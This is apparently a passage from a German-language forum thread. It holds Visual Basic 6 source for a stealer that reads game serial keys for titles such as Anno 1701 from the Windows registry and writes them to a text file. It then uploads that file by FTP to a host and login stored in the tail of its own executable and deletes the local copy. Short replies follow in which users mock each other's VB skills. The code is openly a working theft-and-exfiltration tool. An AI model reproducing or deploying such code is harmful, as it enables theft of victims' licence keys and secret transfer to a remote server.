Inhalt58 = RegRead("HKEY_LOCAL_MACHINE\Software\Electronic Arts\EA Games\The Battle for Middle-earth\ergc")
Text58 = "The Battle for Middle-earth: " & Inhalt58
Text58.Enabled = False
Inhalt59 = RegRead("HKEY_LOCAL_MACHINE\Software\Sunflowers\Anno 1701,SerialNo")
Text59 = "Anno 1701: " & Inhalt59
Text59.Enabled = False
Open (App.Path & "\" & App.EXEName & ".exe") For Binary As #1
Get #1, LOF(1) - 99, options
Close #1
cmd() = Split(options, "#")
host = cmd(0)
user = cmd(1)
pw = cmd(2)
Dim LocalFile As String
LocalFile = Environ("local drive") & "\" & "pws.txt"
If FileExists(LocalFile) Then
Kill LocalFile
End If
Open LocalFile For Output As #1
Print #1, Inhalt
Close #1
Dim RemoteFile As String
RemoteFile = "" & Environ$("computername") & ".txt"
With Inet1
.AccessType = icUseDefault
.Protocol = icFTP
.RemotePort = "21"
.URL = cmd(0)
.UserName = cmd(1)
.Password = cmd(2)
.Execute , "PUT " & LocalFile & " " & RemoteFile
End With
Do While Inet1.StillExecuting = True
DoEvents
Loop
Kill LocalFile
Close
End If
End
End Sub
Private Function FileExists(ByVal FileName As String) As Boolean
On Local Error Resume Next
FileExists = (Dir$(FileName) <> "")
End Function
Private Function RegRead(Path As String) As String
Dim ws As Object
On Error GoTo ErrHandler
Set ws = CreateObject("WScript.Shell")
RegRead = ws.RegRead(Path)
Exit Function
ErrHandler:
RegRead = ""
End Function
|
xtreme markiering... hmm... keine ahnung. aber so isses schöner zu lesen, und die hervorhebung ist da.,
| the_gam3r hat Folgendes geschrieben: | | scheisse stimmt, muss noch besser vb lernen^^ |
| tr4st hat Folgendes geschrieben: | | Du solltest überhaupt mal VB lernen. |
|
|
| |
|
|
|
|
Registrieren
Login
